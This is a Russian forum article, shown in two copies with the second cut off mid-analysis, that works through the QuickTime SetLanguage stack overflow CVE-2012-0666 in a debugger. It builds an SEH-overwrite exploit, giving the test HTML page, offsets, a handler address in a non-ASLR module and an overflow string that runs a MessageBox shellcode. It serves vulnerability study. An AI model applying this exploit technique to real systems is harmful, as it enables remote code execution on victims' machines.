- Регистрация
- 31.12.2019
- Сообщения
- 7,569
- Реакции
- 36
Всем доброго времени суток.
В этой статье я бы хотел провести анализ уязвимости CVE-2012-0666 касающуюся плагина Apple QuickTime. Согласно информации с сайта уязвимость позволяет скрытно запустить произвольный код используя переполнение буфера. Уязвимость найдена пользователем CHkr_D591 сотрудничающего с компанией HP по программе Zero Day Initiative. Дальнейший поиск на сайте этой организации приводит к этой ссылке. Согласно описанию уязвимость находится в библиотеке Quicktime.qts. Ошибка заключается в неконтроллируемом копировании строки в стек внутри Quicktime.qts. Процесс неконтроллируемой записи достигается посредством вызова COM метода IQTPluginControl::SetLanguage из ActiveX библиотеки QTPlugin.ocx. Уязвимость доступна в плагинах версии 7.7.1 и ниже.
Для того чтобы найти место в котором происходит перезапись необходимо проследить всю цепочку вызовов до места в котором происходит непосредственная порча данных, перезаписать адрес возврата. В данном исследовании для упрощения я буду подразумевать что у пользователя отключен DEP и код можно выполнить непосредственно в стеке, иначе придется разрабатывать еще дополнительно ROP-цепочку которая не имеет отношения к исследованию уязвимости. Также отмечу что многие адреса валидны только в текущей сессии отладки, поскольку почти все модули QuickTime имеют подержку ASLR.
Итак для начала нужно выяснить как выполнить загрузку нужного OCX в память. Согласно описанию на сайте apple уязвимость доступна при посещении вредоносного веб-сайта, поэтому напишем тестовую htlm страницу которая будет содержать QuickTime объект и вызывать метод IQTPluginControl::SetLanguage:
Данная HTLM страница содержит встроенный QuickTime объект (как встраивать объект описано здесь), а также скрипт который вызывает метод SetLanguage этого объекта. Для упрощения встраивание объекта в данную HTML страницу выполнено через тег <OBJECT> т.к. мы будем тестировать эксплоит в InternetExplorer’е. Сохраняем страницу с расширением HTML и открываем в браузере:
Плагин загрузился, теперь нужно перехватить вызов SetLanguage чтобы отследить копирование строки. Для этого присоединимся к процессу InternetExplorer’а (iexplore.exe) через отладчик OllyDbg. Далее нужно найти таблицу виртуальных методов интерфейса IQTPluginControl, для этого перехватим момент создания COM объектов из этого OCX файла. Т.к. страница уже подгружена, то OCX уже находится в памяти и нам нужно поставить брейкпоинт на функцию DllGetClassObject которая вызывается системой при создании фабрики классов этого OCX файла:
Вот ее прототип из MSDN:
Первым параметром передается идентификатор кокласса (CLSID), вторым интерфейс (IID), в последнем параметре функция возвращает указатель на объект нужного интерфейса. Чтобы найти нужный CLSID нужно анализировать библиотеку типов из QTPlugin.ocx. Для этого можно воспользоваться любым просмотрщиком OLE, к примеру OLE View. Открываем нужный OCX для просмотра библиотеки типов и смотрим список коклассов:
Нас интересует кокласс QTPluginControl поскольку он реализует интерфейс IQTPluginControl который собственно нас и интересует. Смотрим его описание:
Видим что нужный нам CLSID = {4063BE15-3B08-470D-A0D5-B37161CFFD69}. Также извлекаем IID интерфейса IQTPluginControl = {02BF25D3-8C17-4B23-BC80-D3488ABDDC6B}. Теперь для того чтобы перехватить создание класса нужно проанализировать первый параметр функции DllGetClassObject и если он указывает на этот идентифкатор, то возвратится нужный нам объект. Далее просто обновляем страницу, и выполнение прерывается на этой функции:
Анализируя параметры видим что первым параметром передается CLSID = {4063BE15-3B08-470D-A0D5-B37161CFFD69}, а в качестве интерфейса IID = {00000001-0000-0000-C000-000000000046} IClassFactory. Идентификатор класса тот же что и в библиотеке классов, значит это нужный нам объект. «Проматываем» функцию до конца и смотрим на значение по адресу в 3-м параметре:
Итак это указатель на указатель на виртуальную таблицу методов интерфейса IClassFactory. Посмотрим описание этого интерфейса:
Метод CreateInstance вызывается для создания объекта, в качестве riid передается указатель на нужный интерфейс возвращаемый в параметре ppvObject.
Как видно из описания этот интерфейс наследуется от IUnknown (каждый COM интерфейс должен наследоваться от этого интерфейса), поэтому приведу описание этого интерфейса:
Наследование показывает что таблица виртуальных методов просто повторяет базовую вслед за которой идут элементы уже непосредственно описываемого интерфейса. В нашем случае таблица методов будет следующей:
НазаваниеСмещениеIUnknown::QueryInterface0x00IUnknown::AddRef0x04IUnknown::Release0x08IClassFactory::CreateInstance0x0cIClassFactory::LockServer0x10
Для удобства создадим метки для всех методов интерфейса IClassFactory. Для этого переходим по возвращенному указателю – это перенесет нас на сам объект по нулевому смещению которого содержится указатель на виртуальную таблицу методов:
Проставляем метки для каждой функции и ставим брейкпоинт на IClassFactory ::CreateInstance:
Далее жмем F9 – выполнение прерывается на нужном методе. Сразу смотрим на стек на 3-й параметр:
Как видно это указатель на IUnknown переходим к возвращаемому значению и также ставим брейкпоинт на метод QueryInterface. Это позволит перехватить запрашиваемые интерфейсы, а именно IQTPluginControl. Далее прогоняем код пока в QueryInterface не будет запрошен IDispatch:
При каждом вызове из скрипта метода объекта вызывается пара GetIDsOfNames с именем метода который возвращает идентификатор метода DISPID, и Invoke для непосредственного вызова. Ставим брейкопоинт на GetIDsOfNames и Invoke и следим пока не будет запрошен идентификатор метода SetLanguage:
При вызове обращаем внимание на 3-й аргумент в нем содержится массив указателей на строки с именами методов:
Смотрим возвращаемое значение идентификатора метода:
0x13C – идентификатор метода. Теперь нужно отслеживать вызов метода Invoke c данным идентификатором:
Далее трассируем код пока нас не перебросит на нужный метод. Обычно (в большинстве случаев) непосредственно метод вызывается функцией DispCallFunc. Поэтому можно поставить на нее брейкпоинт и уже в ней трассировать до вызова метода.
Итак после DispCallFunc мы оказываемся опять в теле QuickTime.OCX. С большей вероятностью это и есть метод SetLanguage. Для того чтобы точно убедиться проверим параметры:
Итак в функцию передается первый параметр 058F5000 если мы пройдем по цепочке указателей то увидим что это COM объект ссылающийся на IUnknown интерфейс. Второй параметр как раз наша строка “Russian”, если взглянуть перед строкой на 4 байта то там будет размер строки в байтах, следовательно это BSTR строка. Т.к. в конце функции стоит RETN 8 то значит функция принимает всего 2 параметра. Т.е. все условия совпадают, значит это именно метод IQTPluginControl::SetLanguage; для того чтобы точно убедиться в этом можно скомпилировать небольшую программу к примеру на VB6 и вызвать непосредственно этот метод через виртуальную таблицу, впрочем я так сначала и сделал. Кстати теперь зная адрес метода можно получить уже всю таблицу (к примеру другие уязвимые методы).
Теперь трассируем код внутри метода – смотрим где может быть у нас проблема с копированием строки. Ставим брейкпоинт на первый символ строки на доступ и прогоняем код дальше:
Выполнение останавливается внутри API функции lstrlenW – значит происходит подсчет символов и никакого копирования пока нет. Прогоняем дальше и оказываемся внутри функции WideCharToMultiByte. Эта функция конвертирует строку из UNICODE в многобайтовую кодировку:
Что нас может здесь заинтересовать – это адрес куда преобразованная строка будет записана. Если посмотреть на значение то видно что это адрес в стеке. Итак – это потенциально возможное место уязвимости. Выходим из функции и ставим теперь брейкпоинт на преобразованной строке, возможно она будет копироваться еще куда-нибудь. Но если запустить выполнение то следующий останов будет за пределами метода IQTPluginControl::SetLanguage. Значит больше никаких манипуляций со переданными строками не было. Нужно проверить вызов WideCharToMultiByte – каким образом выделяется память для строки? Если в стеке то либо это фиксированная область, либо к примеру функция alloca.
Удаляем брейкпоинты на данные и обновляем страницу пока не «упадем» в IQTPluginControl::SetLanguage. Трассируем код и следим за стеком, видно что длина строки + 1 после вызова lstrlenW помещается в переменную LOCAL.5 и потом вызывается процедура по адресу 73561220:
В эту процедуру передаются 3 аргумента: адрес переменной с длиной строки + 1 (pLen), длина строки + 1(iLen) и 2 (iNum). Внутри эта процедура перемножает iLen * iNum + 0x80000000 и тестирует значение, не превышает ли оно 0xFFFFFFFF (тестируется старший знаковый бит). При успехе в pLen записывается произведение, в случае неудачи возвращается код ошибки 0x80070057 что соответствует HRESULT = E_INVALIDARG. После вызова функции тестируется возвращаемое значение, затем проверяется полученое значение и сравнивается с 0x400:
Если оно меньше то вызывается процедура по адресу 735623С0:
В нашем случае длина строки Russian = 7, соответственно передаваемое знечение будет равно dLen = (iLen + 1) * 2 = 0x10. Внутри этой функции вызывается функция по адресу 73562390 с параметрами pOut, dLen, 0x2000:
Эта функция вычисляет 0xFFFFFFFF – dLen и проверяет значение не выходит ли оно за диапазон 0…0x2000 в нашем случае. Если значение меньше то возвращается ошибка, иначе в параметр заданный первым указателем пишется значение *pOut = 0x2000 + dLen. Далее при успешном вызове выполняется процедура 7357AC30 в которую первым параметром передается pOut:
Как видно из кода сначала в ECX помещается адрес в стеке перед адресом возврата, затем вычитается значение *pOut и оставляется нижний ниббл который прибавляется к lAlgn = *pOut + (STACK - *pOut) & 0xF. Далее сумма сравнивается на переполнение, если оно имело место быть то результат будет равен -1 иначе lAlgn. Далее вычисляется выражение ~((&retaddr - lAlgn) >> 32) & (&retaddr - lAlgn) т.е. если разность выходит за диапазон 32-х бит выражение вернет 0 иначе разность. Далее происходит последовательное увеличение стека пока его размер не будет больше или равен lAlgn. Далее в ESP записывается необходимое значение и в восстанавливается адрес возврата. Далее вызывается процедура 7357A10F которая устанавливает обработчик исключений. Затем происходит выход из функции с восстановлением стека. Далее опять вызывается процедура 7357AC30 (alloca) в которую передается dLen:
Эта процедура опять выделяет память в стеке затем вызывается процедура по адресу 73561250 в которую передаются указатель на память в стеке (pStack), указатель на строку (bstrLang), dLen, и значение LOCAL.10 которое устанавливается в процедуре 735799E1 равное 3:
Как видно из кода происходите проверка параметров и вызывается функция WideCharToMultiByte. Как видно функция пишет данные в pStack, но выхода за границы тут не может быть т.к. все параметры проверяются. Далее трассируя код видно что вызывается процедура уже из библиотеки QuickTimeWebHelper_qtx:
Анализируя возвращаемое значение приходим к выводу что функция успешно выполняется при возвращаемом значении равном 0 иначе метод IQTPluginControl::SetLanguage возвращает E_FAIL. В нашем случае так и происходит. Значит где-то ошибка, если посмотреть на описание метода IQTPluginControl::SetLanguage видно что при установке этого свойства нужен видеофайл с дорожками на необходимом языке:
В нашем случае видеофайла нет вообще поэтому вызов завершается неудачей, а отсутствие доступа к многобайтовой строке объясняется отсутствием дорожек которые бы можно было сравнивать. Теперь нужно создать видеофайл. Особенностью MOV формата является возможность создания text descriptors где можно указать к текстовый поток с необходимым языком без самого видеофайла:
Также в HTML странице укажем этот видеофайл в качестве источника:
Обновим страницу чтобы посмотреть корректность файла:
Теперь можно отслеживать обращение к многобайтовой строке после вызова WideCharToMultiByte для этого поставим брейкпоинт на первый символ. После запуска код остановится при обращении к строке в функции 6EC554B0 модуля QuickTime_qtx:
Как видно сначала определяется размер строки а затем копирование ее. Если посмотреть на адрес назначения то видно что этот адрес в стеке. Это еще одно место с потенциальной уязвимостью. Для определения куда копируется строка перейдем по стеку вызовов на одну функцию выше и посмотрим как передается первый параметр. Если обратить внимание на механизм вызова то будет видно что функция вызывается по указателю, если проанализировать как произошел вызов то будет видно что вызов был через функцию theQuickTimeDispatcher которая принимает идентификатор функции, находит ее адрес и вызывает ее. Собирая все вместе находим что вызов происходит из модуля QuickTimeWebHelper_qtx:
В качестве первого параметра передается фиксированный буфер в стеке. Получается что можно перезаписать стек как нам угодно, т.к. в модуле QuickTimeWebHelper_qtx буфер для строки не выделяется динамически, а расположен статически в стеке.
Для того чтобы протестировать уязвимость нужно сформировать строку таким образом чтобы заменить адрес возврата на необходимый нам, который передаст управление коду в стеке который также будет находится в строке. Также необходимо найти модуль без ASLR поскольку мы используем фиксированные адреса. Для этой задачи напишем небольшую программу на VB6 для поиска модулей без ASLR. Исходный код и скомпилированная программа находятся в папке finder в архиве приложенном к данной статье.
Запускаем поиск по папкам “QuickTime” и “Common Files \Apple\Apple Application Support”:
Смотрим данный модуль в списке загруженных модулей в Internet Explorer:
Как видно найден один модуль который мы можем использовать - icudt46.dll.
Для передачи управления пойдут к примеру команды JMP ESP (FF E4) или CALL ESP (FF D4). Запустим поиск этих команд:
Мы можем использовать этот адрес для «прыжка» в стек для выполнения кода. Как мы определили сначала мы работаем в условиях когда DEP отключен, иначе нужно создавать ROP паттерн чтобы не выполнять код в стеке, а выделять специальную память для него с разрешением на выполнение и копировать шеллкод туда, и оттуда уже выполнять.
Итак, для формирования шеллкода проще всего будет опять вернуться в функцию копирования строки 6EC554B0 модуля QuickTime_qtx и посмотреть расстояние в байтах от буфера-приемника до адреса возврата:
0x32AC650 – 0x32AC44C = 0x204 – столько байт нужно для того чтобы перезаписать адрес возврата. Итак формируем строку размером в 0x204 символов и передаем ее в метод IQTPluginControl::SetLanguage. Незабыв поставить брейкпоинт на функцию бесконтрольного копирования убеждаемся что буфер перезаписывается вместе с адресом возврата, но если выполнить теперь трассировку то будет видно что приложение завершилось со статусом STATUS_STACK_BUFFER_OVERRUN. Вероятно DLL скомпилирована с опцией /GS – в этом режиме потенциально опасные, с точки зрения перезаписи буфера функции обрамляются проверкой, представляющей из себя определенное значение записанное в самом начале после адреса возврата. Если функция перезаписывает данные за пределом буфера, то она перезапишет и это значение и при проверке это будет выявлено и процесс аварийно завершится не дав нашему коду выполнится. Действительно если переместиться в пролог и эпилог проблемной функции можно увидеть следующие инструкции:
По адресу 7351DC38 хранится так называемое __security_cookie – значение вычисляемое при старте модуля, уникальное для каждого запуска. Как видно из кода функция в прологе XOR’ит это значение с указателем стека, а при выходе из функции проделывает обратную операцию и запускает проверку – не изменилось ли оно. При перезаписи буфера мы в любом случае перезапишем это значение и функция аварийно завершится. Для обхода этой проблемы мы к примеру можем вычислить это значение, но если посмотреть на декомпилируемый листинг функции инициирующей значение __security_cookie то заметим что это сделать почти нереально, поскольку значения временных функций и высокочастотных счетчиков постоянно изменяются:
Также можно попробовать получить это значение из VBScript’а и подставить в строку уже готовое значение, но из скрипта прочитать это значение не так просто. Самым простым способом будет перезапись SEH обработчика исключений на свой, а в качестве строки задать очень длинную строку чтобы вызвать запись за пределы стека в невыделенную память, тем самым вызвать обработчик исключения. Для выполнения этой задачи необходимо определить ближайший SEH фрейм в котором мы изменим адрес обработчика. При вызове обработчика во втором параметре передается адрес структуры EXCEPTION_REGISTRATION в которую мы можем контролировать запись. Т.е. записав в качестве указателья на следующий обработчик шеллкод мы сможем его вызвать, передав управление на него определенной последовательностью инструкций. Итак, в этом случае нам нужно определить расстояние уже до структуры EXCEPTION_REGISTRATION в первое поле мы запишем инструкцию JMP для того чтобы перепрыгнуть адрес обработчика, а во второе адрес обработчика который еще нужно будет найти по определенным критериям.
Расстояние до структуры EXCEPTION_REGISTRATION равно 0x32CCB80 - 0x32СC8A8 -1 = 0x2D7 байт. В первые 4 байта мы запишем опкод инструкции JMP $+8 = 0x06EB, в следующие 4 мы запишем адрес обработчика исключений который необходимо найти, а затем наш шеллкод.
Для поиска обработчика исключений нужно обеспечить передачу управление по адресу второго аргумента. Типичная последовательность инструкций POP/POP/RET – изъять адрес возврата, первый параметр и перейти по второму параметру. Последовательность может быть разной к примеру CALL DWORD [ESP+8], JMP DWORD [ESP+8] и т.д. Для поиска воспользуемся Immunity Debbuger со скриптом mona. Также этот скрипт позволяет найти модули без ASLR. Т.к. такой модуль всего лишь один (icudt46.dll), и скрипт не находит в нем необходимой последовательностии инструкций, то придется загружать другой модуль в котором будет отключен ASLR и присутствовать нужная последовательность инструкций. Для этого сначала запустим поиск модулей без ASLR используя finder в системной папке. На тестируемой машине поиск выдал следующий список модулей:
amcompat.tlb
atmfd.dll
BOOTVID.DLL
COMCT232.OCX
COMCT332.OCX
COMCTL32.oca
COMCTL32.OCX
COMDLG32.oca
COMDLG32.OCX
COMMTB32.DLL
CRSWPP.DLL
crtdll.dll
ctl3d32.dll
DBADAPT.DLL
DBLIST32.OCX
DBMSSHRN.DLL
DBMSSOCN.DLL
expsrv.dll
MSWINSCK.OCX
ntkrnlpa.exe
ntoskrnl.exe
ODBCCP32.CPL
ODBCTL32.DLL
PICCLP32.OCX
PIPARSE.DLL
POSTWPP.DLL
PSHED.DLL
hha.dll
HLP95EN.DLL
HTMUTIL.DLL
iac25_32.ax
IMGWALK.DLL
ir32_32.dll
ir41_32.ax
ir41_qc.dll
ir41_qcx.dll
ir50_32.dll
ir50_qc.dll
ir50_qcx.dll
ivfsrc.ax
MCI32.OCX
MDT2FW95.DLL
mfc40.dll
python27.dll
RDOCURS.DLL
REPUTIL.DLL
RICHTX32.oca
RICHTX32.OCX
SCP32.DLL
SELFREG.DLL
SQLPARSE.DLL
sqlunirl.dllmfc40u.dll
mfc71.dll
mfc71u.dll
MSADODC.OCX
MSBIND.DLL
MSCHRT20.OCX
MSCOMCT2.oca
MSCOMCT2.OCX
MSCOMCTL.oca
MSCOMM32.OCX
mscorier.dll
mscories.dll
MSDATGRD.OCX
MSDATLST.OCX
MSDATREP.OCX
MSDBRPT.DLL
MSDBRPTR.DLL
msdxm.tlb
sqlwid.dll
sqlwoa.dll
stdole32.tlb
SYSINFO.OCX
TABCTL32.OCX
TLBINF32.DLL
TrickAdvanced.dll
TsWpfWrp.exe
VB5DB.DLLMSFLXGRD.OCX
MSHFLXGD.OCX
MSINET.OCX
MSJET35.DLL
MSJINT35.DLL
MSJT4JLT.DLL
MSJTER35.DLL
MSMAPI32.OCX
MSMASK32.OCX
MSRD2X35.DLL
MSRDO20.DLL
MSREPL35.DLL
MSSTDFMT.DLL
MSSTKPRP.DLL
msvbvm60.dll
msvcr71.dll
msvcrt20.dll
MSWINSCK.oca
VB6STKIT.DLL
vbajet32.dll
VBAR332.DLL
VEN2232.OLB
vfpodbc.dll
vm3dgl.dll
WEBPOST.DLL
WINDBVER.EXE
WPWIZDLL.DLL
Библиотка MSVBVM60.DLL является библиотекой времени выполнения для приложений написанных на VB6, она также по умолчанию поставляется с Windows и не требует установки. Для загрузки этой DLL в память нужно просто создать какой-либо COM-объект предоставляемый этой DLL. Для получения идентификатора класса откроем эту DLL в OleView и перейдем к списку коклассов:
Используем этот идентификатор для создания объекта на HTML странице:
Обновляем страницу и видим что модуль MSVBVM60 не загрузился. Это случилось потому что в реестре отсутствует данный идентификатор в ветке HKEY_CLASSES_ROOT\CLSID. В модуле MSVBVM60 содержится 2 библиотеки типов, поэтому попробуем получить кокласс из второй библиотеки (VBRUN):
Этот идентификатор присутствует в реестре:
Также я проверил на Win8 x64, на WinXP и Win7 x64 – эта запись присутствует в реестре. Вставляем ее в HTML страницу и обновляем ее – модуль MSVBVM60 появился в списке:
Теперь запускаем поиск SEH обработчиков подходящих нам, скрипт mona нашел 1303 места для обработчиков:
Выбираем любой к примеру 0x72A3067A. Запишем этот адрес в строку по смещению 0x2D7 + 4. Для длины строки выберем экспериментально размер 0x4FFF. Если эксплоит не будет выбрасывать исключение это значение можно увеличить.
Итак формируем строку - String(&H2D7, "x") & Chr(&HEB) & Chr(&H6) & "xx" & Chr(&H7A) & Chr(&H6) & Chr(&HA3) & Chr(&H72) & String(&H4D20, "x")), и проверяем работу. В текущей сессии при копировании строки происходит выброс исключения, при просмотре таблицы исключений видно что оно заменено на наше и если передать управление обработчику то будет выполнен наш обработчик из MSVBVM60:
Итак, все работает – управление передается в стек на наш шеллкод. Сделаем простейший шеллкод (на FASM) для запуска в стеке функции MessageBoxA используя вспомогательные функции MSVBVM60:
Для того чтобы полностью скопировать весь шеллкод для исполнения нужно обеспечить отсутствие нулевых байтов, поскольку это является признаком конца строки и данные обрежутся в этом месте. Для обеспечения этого условия необходимо закодировать код таким образом чтобы исключить нулевые байты. Код расшифровки должен быть маленьким и не содержать нулевых байтов поскольку он не шифруется. В вышепреведенном коде используется самое простое XOR шифрование начиная с метки start_c (0x19). Для большей гибкости можно использовать динамическое значение для шифрования, в данном коде это не требуется.
Код до шифрования:
Код после шифрования:
Теперь собираем строку используя программу StringMaker и вставляем в HTML документ:
Я также увеличил число дополнительных символов до 0x6FFF для более надежного срабатывания обработчика исключений. Теперь если запустить код в Internet Explorer’е с выключенным DEP, то отобразится MsgBox:
Т.к. модуль MSVBVM60 является системным то из-за ASLR он может быть загружен не по базовому адресу если его место будет занимать другой системный модуль с включенным ASLR т.к. базы системных модулей расположены рядом друг с другом. Для обхода этого ограничения попробуем сделать тоже самое используя несистемный модуль RICHTX32.OCX. Этот модуль имеет базу 0x20000000. Используя скрипт mona находим подходящий SEH обработчик (нас интересуют адреса без нулевых батов) - 0x200127c2. Теперь разработаем шеллкод для этого модуля:
Собираем строку, записываем в скрипт и пробуем запускать страницу:
Как видно эксплоит работает. Теперь для проверки установим версию QuickTime 7.7.2 в которой закрыли данную уязвимость. Откроем файл QuickTime.qtx в отладчике и посмотрим на проблемную функцию копирования строки в сравнении с функцией имеющей уязвимость:
Как видно из кода, разработчики добавили проверку на превышение 255 символов, и данные эксплоиты не будут работать в этой версии.
Тестирование производилось на системе Windows 7 x64 SP1, в браузере Internet Explorer 8.0.7601.17514. Предотвращение выполнения данных отключено для всех процессов в том числе и системных. Версии библиотек: MSVBVM60.DLL – 6.00.9815, RICHTX32.OCX – 6.01.9782.
Вложения:
Автор: vborion
В этой статье я бы хотел провести анализ уязвимости CVE-2012-0666 касающуюся плагина Apple QuickTime. Согласно информации с сайта уязвимость позволяет скрытно запустить произвольный код используя переполнение буфера. Уязвимость найдена пользователем CHkr_D591 сотрудничающего с компанией HP по программе Zero Day Initiative. Дальнейший поиск на сайте этой организации приводит к этой ссылке. Согласно описанию уязвимость находится в библиотеке Quicktime.qts. Ошибка заключается в неконтроллируемом копировании строки в стек внутри Quicktime.qts. Процесс неконтроллируемой записи достигается посредством вызова COM метода IQTPluginControl::SetLanguage из ActiveX библиотеки QTPlugin.ocx. Уязвимость доступна в плагинах версии 7.7.1 и ниже.
Для того чтобы найти место в котором происходит перезапись необходимо проследить всю цепочку вызовов до места в котором происходит непосредственная порча данных, перезаписать адрес возврата. В данном исследовании для упрощения я буду подразумевать что у пользователя отключен DEP и код можно выполнить непосредственно в стеке, иначе придется разрабатывать еще дополнительно ROP-цепочку которая не имеет отношения к исследованию уязвимости. Также отмечу что многие адреса валидны только в текущей сессии отладки, поскольку почти все модули QuickTime имеют подержку ASLR.
Итак для начала нужно выяснить как выполнить загрузку нужного OCX в память. Согласно описанию на сайте apple уязвимость доступна при посещении вредоносного веб-сайта, поэтому напишем тестовую htlm страницу которая будет содержать QuickTime объект и вызывать метод IQTPluginControl::SetLanguage:
Код:
<html>
<head>
<title>Test CVE-2012-0666</title>
<script language="VBScript">
Sub RunExploit()
QT.SetLanguage("Russian")
End Sub
</script>
</head>
<body>
<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" ID="QT"></object>
<body onload="vbscript:RunExploit()">
</body>
<html>
Плагин загрузился, теперь нужно перехватить вызов SetLanguage чтобы отследить копирование строки. Для этого присоединимся к процессу InternetExplorer’а (iexplore.exe) через отладчик OllyDbg. Далее нужно найти таблицу виртуальных методов интерфейса IQTPluginControl, для этого перехватим момент создания COM объектов из этого OCX файла. Т.к. страница уже подгружена, то OCX уже находится в памяти и нам нужно поставить брейкпоинт на функцию DllGetClassObject которая вызывается системой при создании фабрики классов этого OCX файла:
Вот ее прототип из MSDN:
Код:
HRESULT __stdcall DllGetClassObject(
_In_ REFCLSID rclsid,
_In_ REFIID riid,
_Out_ LPVOID *ppv
);
Нас интересует кокласс QTPluginControl поскольку он реализует интерфейс IQTPluginControl который собственно нас и интересует. Смотрим его описание:
Код:
[
uuid(4063BE15-3B08-470D-A0D5-B37161CFFD69),
helpstring("Apple QuickTime Plugin Control"),
control
]
coclass QTPluginControl {
[default] interface IQTPluginControl;
[default, source] dispinterface _IQTPluginControlEvents;
};
Анализируя параметры видим что первым параметром передается CLSID = {4063BE15-3B08-470D-A0D5-B37161CFFD69}, а в качестве интерфейса IID = {00000001-0000-0000-C000-000000000046} IClassFactory. Идентификатор класса тот же что и в библиотеке классов, значит это нужный нам объект. «Проматываем» функцию до конца и смотрим на значение по адресу в 3-м параметре:
Итак это указатель на указатель на виртуальную таблицу методов интерфейса IClassFactory. Посмотрим описание этого интерфейса:
Код:
[
odl,
uuid(00000001-0000-0000-C000-000000000046),
]
interface IClassFactory : stdole.IUnknown {
HRESULT CreateInstance (
[in] stdole.IUnknown*pUnkOuter,
[in] UUID *riid,
[out] void *ppvObject);
HRESULT LockServer(
[in] BOOL fLock);
}
Как видно из описания этот интерфейс наследуется от IUnknown (каждый COM интерфейс должен наследоваться от этого интерфейса), поэтому приведу описание этого интерфейса:
Код:
[
odl,
uuid(00000000-0000-0000-C000-000000000046),
]
interface IUnknown{
LONG QueryInterface(
[in, out] UUID *riid,
[in, out] void *ppvObject);
LONG AddRef();
LONG Release();
}
НазаваниеСмещениеIUnknown::QueryInterface0x00IUnknown::AddRef0x04IUnknown::Release0x08IClassFactory::CreateInstance0x0cIClassFactory::LockServer0x10
Для удобства создадим метки для всех методов интерфейса IClassFactory. Для этого переходим по возвращенному указателю – это перенесет нас на сам объект по нулевому смещению которого содержится указатель на виртуальную таблицу методов:
Проставляем метки для каждой функции и ставим брейкпоинт на IClassFactory ::CreateInstance:
Далее жмем F9 – выполнение прерывается на нужном методе. Сразу смотрим на стек на 3-й параметр:
Как видно это указатель на IUnknown переходим к возвращаемому значению и также ставим брейкпоинт на метод QueryInterface. Это позволит перехватить запрашиваемые интерфейсы, а именно IQTPluginControl. Далее прогоняем код пока в QueryInterface не будет запрошен IDispatch:
Код:
[odl,
uuid(00020400-0000-0000-C000-000000000046)]
interface IDispatch : IUnknown {
HRESULT GetTypeInfoCount(
[out, retval] int* pctinfo);
HRESULT GetTypeInfo(
[in, defaultvalue(0)] int itinfo,
[in, defaultvalue(0)] long lcid,
[out, retval] ITypeInfo **pptinfo);
LONG GetIDsOfNames(
[in] UUID* riid,
[in] LPWSTR *rgszNames,
[in] int cNames,
[in] long lcid,
[out] long *rgdispid);
LONG Invoke(
[in] long dispidMember,
[in] UUID* riid,
[in] long lcid,
[in] short wFlags,
[in] DISPPARAMS *pdispparams,
[in] long pvarResult,
[out] EXCEPINFO *pexcepinfo,
[out] int *puArgErr) };
При вызове обращаем внимание на 3-й аргумент в нем содержится массив указателей на строки с именами методов:
Смотрим возвращаемое значение идентификатора метода:
0x13C – идентификатор метода. Теперь нужно отслеживать вызов метода Invoke c данным идентификатором:
Далее трассируем код пока нас не перебросит на нужный метод. Обычно (в большинстве случаев) непосредственно метод вызывается функцией DispCallFunc. Поэтому можно поставить на нее брейкпоинт и уже в ней трассировать до вызова метода.
Итак после DispCallFunc мы оказываемся опять в теле QuickTime.OCX. С большей вероятностью это и есть метод SetLanguage. Для того чтобы точно убедиться проверим параметры:
Итак в функцию передается первый параметр 058F5000 если мы пройдем по цепочке указателей то увидим что это COM объект ссылающийся на IUnknown интерфейс. Второй параметр как раз наша строка “Russian”, если взглянуть перед строкой на 4 байта то там будет размер строки в байтах, следовательно это BSTR строка. Т.к. в конце функции стоит RETN 8 то значит функция принимает всего 2 параметра. Т.е. все условия совпадают, значит это именно метод IQTPluginControl::SetLanguage; для того чтобы точно убедиться в этом можно скомпилировать небольшую программу к примеру на VB6 и вызвать непосредственно этот метод через виртуальную таблицу, впрочем я так сначала и сделал. Кстати теперь зная адрес метода можно получить уже всю таблицу (к примеру другие уязвимые методы).
Теперь трассируем код внутри метода – смотрим где может быть у нас проблема с копированием строки. Ставим брейкпоинт на первый символ строки на доступ и прогоняем код дальше:
Выполнение останавливается внутри API функции lstrlenW – значит происходит подсчет символов и никакого копирования пока нет. Прогоняем дальше и оказываемся внутри функции WideCharToMultiByte. Эта функция конвертирует строку из UNICODE в многобайтовую кодировку:
Что нас может здесь заинтересовать – это адрес куда преобразованная строка будет записана. Если посмотреть на значение то видно что это адрес в стеке. Итак – это потенциально возможное место уязвимости. Выходим из функции и ставим теперь брейкпоинт на преобразованной строке, возможно она будет копироваться еще куда-нибудь. Но если запустить выполнение то следующий останов будет за пределами метода IQTPluginControl::SetLanguage. Значит больше никаких манипуляций со переданными строками не было. Нужно проверить вызов WideCharToMultiByte – каким образом выделяется память для строки? Если в стеке то либо это фиксированная область, либо к примеру функция alloca.
Удаляем брейкпоинты на данные и обновляем страницу пока не «упадем» в IQTPluginControl::SetLanguage. Трассируем код и следим за стеком, видно что длина строки + 1 после вызова lstrlenW помещается в переменную LOCAL.5 и потом вызывается процедура по адресу 73561220:
В эту процедуру передаются 3 аргумента: адрес переменной с длиной строки + 1 (pLen), длина строки + 1(iLen) и 2 (iNum). Внутри эта процедура перемножает iLen * iNum + 0x80000000 и тестирует значение, не превышает ли оно 0xFFFFFFFF (тестируется старший знаковый бит). При успехе в pLen записывается произведение, в случае неудачи возвращается код ошибки 0x80070057 что соответствует HRESULT = E_INVALIDARG. После вызова функции тестируется возвращаемое значение, затем проверяется полученое значение и сравнивается с 0x400:
Если оно меньше то вызывается процедура по адресу 735623С0:
В нашем случае длина строки Russian = 7, соответственно передаваемое знечение будет равно dLen = (iLen + 1) * 2 = 0x10. Внутри этой функции вызывается функция по адресу 73562390 с параметрами pOut, dLen, 0x2000:
Эта функция вычисляет 0xFFFFFFFF – dLen и проверяет значение не выходит ли оно за диапазон 0…0x2000 в нашем случае. Если значение меньше то возвращается ошибка, иначе в параметр заданный первым указателем пишется значение *pOut = 0x2000 + dLen. Далее при успешном вызове выполняется процедура 7357AC30 в которую первым параметром передается pOut:
Как видно из кода сначала в ECX помещается адрес в стеке перед адресом возврата, затем вычитается значение *pOut и оставляется нижний ниббл который прибавляется к lAlgn = *pOut + (STACK - *pOut) & 0xF. Далее сумма сравнивается на переполнение, если оно имело место быть то результат будет равен -1 иначе lAlgn. Далее вычисляется выражение ~((&retaddr - lAlgn) >> 32) & (&retaddr - lAlgn) т.е. если разность выходит за диапазон 32-х бит выражение вернет 0 иначе разность. Далее происходит последовательное увеличение стека пока его размер не будет больше или равен lAlgn. Далее в ESP записывается необходимое значение и в восстанавливается адрес возврата. Далее вызывается процедура 7357A10F которая устанавливает обработчик исключений. Затем происходит выход из функции с восстановлением стека. Далее опять вызывается процедура 7357AC30 (alloca) в которую передается dLen:
